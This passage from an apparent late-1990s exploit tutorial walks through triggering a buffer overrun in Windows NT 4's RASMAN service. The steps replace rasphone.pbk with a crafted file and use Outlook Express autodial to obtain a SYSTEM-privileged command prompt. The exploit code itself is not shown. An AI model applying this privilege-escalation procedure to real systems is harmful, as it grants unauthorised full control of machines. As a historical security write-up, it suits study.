  824.    a RAS_DIAL_PARAMS structure which contains the character arrays. As
  825.    you'll have guessed we're overflowing the one that holds the telephone
  826.    number.
  827.    
  828.   Now to test it all.
  829.   
  830.    Quite often when trying to exploit buffer overruns you don't get it
  831.    right the first time - usually due to an oversight or something. The
  832.    code in this document has been tested on NT Server 4 with SP 3, NT
  833.    Server 4 with SP 4 and NT Workstation SP 3 all running on a Pentium
  834.    processor and it works - that's not to say that it will run on your
  835.    machine though. There could be a number of reasons why it might not,
  836.    but that is up to you to find out. So any way, let's test it:
  837.    
  838.    To be able to get this to work take the following steps:
  839.    
  840.    1) Make a backup copy of your real rasphone.pbk file and then delete
  841.    the original. The NTFS permissions on this file by default give
  842.    everybody the Change permission so there shouldn't be a problem with
  843.    this.
  844.    
  845.    2) Run rasphone (click on Start -> Run -> type rasphone -> OK). You
  846.    should get a message saying that the phone book is empty and click OK
  847.    to create a new one.
  848.    
  849.    3) Click OK and make a new entry calling it "Internet". Put in the
  850.    relevant information needed to be able to dial into your ISP. Once the
  851.    entry is complete dial it.
  852.    
  853.    4) Once connected open Outlook Express and download your e-mails. The
  854.    reason for doing this is because this will create a Registry entry for
  855.    your mail server's domain name and associate it as an autodialable
  856.    address. If Outlook Express' connection is dial up change it to a LAN
  857.    connection - this'll be under the mail account's properties.
  858.    
  859.    5) Hangup and close Outlook Express.
  860.    
  861.    6) Copy the delete the new rasphone.pbk and replace it with your one
  862.    made from the above code.
  863.    
  864.    7) Open Outlook Express.
  865.    
  866.    Because your not connected to the Internet RASMAN should automatically
  867.    dial for you, read in from the Registry the autodail information then
  868.    open rasphone.pbk, fill its buffers and overflow. Within about eight
  869.    seconds or so a Command Prompt window will open. This Command Prompt
  870.    has SYSTEM privileges.
  871.    
  872.    That's it - we've exploited a buffer overrun and executed our arbitary
  873.    code.
  874.